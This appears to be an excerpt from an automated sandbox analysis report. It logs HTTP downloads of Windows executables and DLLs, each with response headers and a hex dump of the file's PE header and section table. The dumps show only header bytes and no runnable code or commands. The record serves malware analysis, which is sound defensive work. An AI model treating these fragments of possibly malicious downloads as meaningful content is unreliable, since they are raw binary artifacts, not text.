00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:34:05 GMTContent-Type: application/x-msdos-programContent-Length: 1246160Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "1303d0-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:34:05 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:34:05 GMTContent-Type: application/x-msdos-programContent-Length: 137168Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "217d0-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:34:05 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:34:06 GMTContent-Type: application/x-msdos-programContent-Length: 440120Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "6b738-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:34:06 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:34:08 GMTContent-Type: application/x-msdos-programContent-Length: 1246160Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "1303d0-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:34:08 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:34:12 GMTContent-Type: application/x-msdos-programContent-Length: 144848Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "235d0-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:34:12 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 18 02 00 d0 1d 00 00 00 40 02 00 60 0e 00 00 d0 fe 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 ff 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 01 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cb b4 01 00 00 10 00 00 00 b6 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0a 44 00 00 00 d0 01 00 00 46 00 00 00 ba 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 07 00 00 00 20 02 00 00 04 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 30 02 00 00 04 00 00 00 04 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 60 0e 00 00 00 40 02 00 00 10 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 04 Jan 2022 18:34:13 GMTContent-Type: application/x-msdos-programContent-Length: 83784Connection: keep-aliveLast-Modified: Wed, 14 Nov 2018 15:53:50 GMTETag: "14748-57aa1f0b0df80"Expires: Wed, 05 Jan 2022 18:34:13 GMTCache-Control: max-age=86400X-Cache-Status: EXPIREDX-Cache-Status: HITAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: openrestyDate: Tue, 04 Jan 2022 18:34:15 GMTContent-Type: application/octet-streamContent-Length: 6637149Last-Modified: Tue, 04 Jan 2022 16:37:59 GMTConnection: keep-aliveETag: "61d477e7-65465d"Expires: Tue, 11 Jan 2022 18:34:15 GMTCache-Control: max-age=604800Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad b1 28 81 e9 d0 46 d2 e9 d0 46 d2 e9 d0 46 d2 2a df 19 d2 eb d0 46 d2 e9 d0 47 d2 76 d0 46 d2 2a df 1b d2 e6 d0 46 d2 bd f3 76 d2 e3 d0 46 d2 2e d6 40 d2 e8 d0 46 d2 52 69 63 68 e9 d0 46 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3c ca 4d 58 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 62 00 00 00 7c 02 00 00 04 00 00 a3 31 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 04 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 85 00 00 a0 00 00 00 00 90 03 00 50 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 71 60 00 00 00 10 00 00 00 62 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 52 13 00 00 00 80 00 00 00 14 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 f8 54 02 00 00 a0 00 00 00 06 00 00 00 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 90 00 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 50 6b 00 00 00 90 03 00 00 6c 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
